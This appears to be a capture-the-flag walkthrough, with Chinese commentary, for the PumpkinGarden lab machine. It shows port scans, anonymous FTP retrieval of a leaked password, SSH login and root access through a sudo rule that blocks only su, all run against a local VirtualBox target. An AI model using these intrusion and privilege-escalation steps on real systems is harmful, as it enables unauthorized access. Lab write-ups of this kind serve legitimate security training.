┌──(kali㉿kali)-[~/Downloads/PumpkinGarden] └─$ sudo nmap --min-rate 10000 -p- 192.168.56.141 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 05:37 EDT Nmap scan report for 192.168.56.141 Host is up (0.00022s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 1515/tcp open ifor-protocol 3535/tcp open ms-la MAC Address: 08:00:27:20:A9:84 (Oracle VirtualBox virtual NIC)
┌──(kali㉿kali)-[~/Downloads/PumpkinGarden] └─$ sudo nmap -sT -sV -sC -O -p21,1515,3535 192.168.56.141 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 05:42 EDT Nmap scan report for 192.168.56.141 Host is up (0.00048s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r--r-- 1 0 0 88 Jun 13 2019 note.txt | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.56.106 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.2 - secure, fast, stable |_End of status 1515/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-server-header: Apache/2.4.7 (Ubuntu) |_http-title: Mission-Pumpkin 3535/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d8:8d:e7:48:3a:3c:91:0e:3f:43:ea:a3:05:d8:89:e2 (DSA) | 2048 f0:41:8f:e0:40:e3:c0:3a:1f:4d:4f:93:e6:63:24:9e (RSA) | 256 fa:87:57:1b:a2:ba:92:76:0c:e7:85:e7:f5:3d:54:b1 (ECDSA) |_ 256 fa:e8:42:5a:88:91:b4:4b:eb:e4:c3:74:2e:23:a5:45 (ED25519) MAC Address: 08:00:27:20:A9:84 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
FTP 允许匿名登录，1515 是 Web 服务端口，3535 是 ssh 端口，Ubuntu 操作系统
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/Downloads/PumpkinGarden] └─$ sudo nmap --script=vuln -p21,1515,3535 192.168.56.141 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 05:45 EDT Nmap scan report for 192.168.56.141 Host is up (0.00050s latency).
PORT STATE SERVICE 21/tcp open ftp 1515/tcp open ifor-protocol 3535/tcp open ms-la MAC Address: 08:00:27:20:A9:84 (Oracle VirtualBox virtual NIC)
┌──(kali㉿kali)-[~/Downloads/PumpkinGarden] └─$ ftp 192.168.56.141 Connected to 192.168.56.141. 220 Welcome to Pumpkin\'s FTP service. Name (192.168.56.141:kali): scarecrow 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> binary 200 Switching to Binary mode. ftp> ls 229 Entering Extended Passive Mode (|||64848|). 150 Here comes the directory listing. -rw-r--r-- 1 0 0 167 Jun 11 2019 note.txt 226 Directory send OK. ftp> get note.txt local: note.txt remote: note.txt 229 Entering Extended Passive Mode (|||39844|). 150 Opening BINARY mode data connection for note.txt (167 bytes). 100% |***********************************************************************| 167 77.62 KiB/s 00:00 ETA 226 Transfer complete. 167 bytes received in 00:00 (59.41 KiB/s) ftp> exit 221 Goodbye.
Oops!!! I just forgot; keys to the garden are with LordPumpkin(ROOT user)! Reach out to goblin and share this "Y0n$M4sy3D1t" to secretly get keys from LordPumpkin.
Hello Friend! I heard that you are looking for PumpkinGarden key. But Key to the garden will be with LordPumpkin(ROOT user), don\'t worry, I know where LordPumpkin had placed the Key. You can reach there through my backyard.
Here is the key to my backyard https://www.securityfocus.com/data/vulnerabilities/exploits/38362.sh
┌──(kali㉿kali)-[~/Downloads/PumpkinGarden] └─$ ssh goblin@192.168.56.141 -p 3535 The authenticity of host \'[192.168.56.141]:3535 ([192.168.56.141]:3535)' can't be established. ED25519 key fingerprint is SHA256:mLTE3ZDFS+c1wgTIsHLdH7jtZFKpYoPljQRHRdH7IVo. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \'[192.168.56.141]:3535\' (ED25519) to the list of known hosts. ------------------------------------------------------------------------------ Welcome to Mission-Pumpkin All remote connections to this machine are monitored and recorded ------------------------------------------------------------------------------ goblin@192.168.56.141\'s password: Last login: Thu Jun 13 00:43:14 2019 from 192.168.1.106 goblin@Pumpkin:~$ whoami goblin goblin@Pumpkin:~$ id uid=1002(goblin) gid=1002(goblin) groups=1002(goblin),27(sudo) goblin@Pumpkin:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 08:00:27:20:a9:84 brd ff:ff:ff:ff:ff:ff inet 192.168.56.141/24 brd 192.168.56.255 scope global eth0 valid_lft forever preferred_lft forever inet6 fe80::a00:27ff:fe20:a984/64 scope link valid_lft forever preferred_lft forever goblin@Pumpkin:~$ sudo -l [sudo] password for goblin: Matching Defaults entries for goblin on Pumpkin: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User goblin may run the following commands on Pumpkin: (root) ALL, !/bin/su
提权
sudo -l 给出了很有意思的结果，这个用户可以使用 sudo 执行除了 su 以外的所有命令，那就简单了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
goblin@Pumpkin:~$ sudo /bin/bash root@Pumpkin:~# cd /root root@Pumpkin:/root# ls PumpkinGarden_Key root@Pumpkin:/root# ls -alih total 36K 131254 drwx------ 3 root root 4.0K Jun 13 2019 . 2 drwxr-xr-x 22 root root 4.0K Jun 11 2019 .. 164960 -rw-r--r-- 1 root root 22 Jun 13 2019 .bash_logout 131227 -rw-r--r-- 1 root root 3.1K Jun 11 2019 .bashrc 21448 drwx------ 2 root root 4.0K Jun 11 2019 .cache 142821 -rw------- 1 root root 17 Jun 13 2019 .nano_history 131226 -rw-r--r-- 1 root root 140 Feb 20 2014 .profile 169390 -rw-r--r-- 1 root root 25 Jun 13 2019 PumpkinGarden_Key 164957 -rw-r--r-- 1 root root 66 Jun 11 2019 .selected_editor root@Pumpkin:/root# cat PumpkinGarden_Key Q29uZ3JhdHVsYXRpb25zIQ== root@Pumpkin:/root# echo -n "Q29uZ3JhdHVsYXRpb25zIQ==" | base64 -d Congratulations!root@Pumpkin:/root#
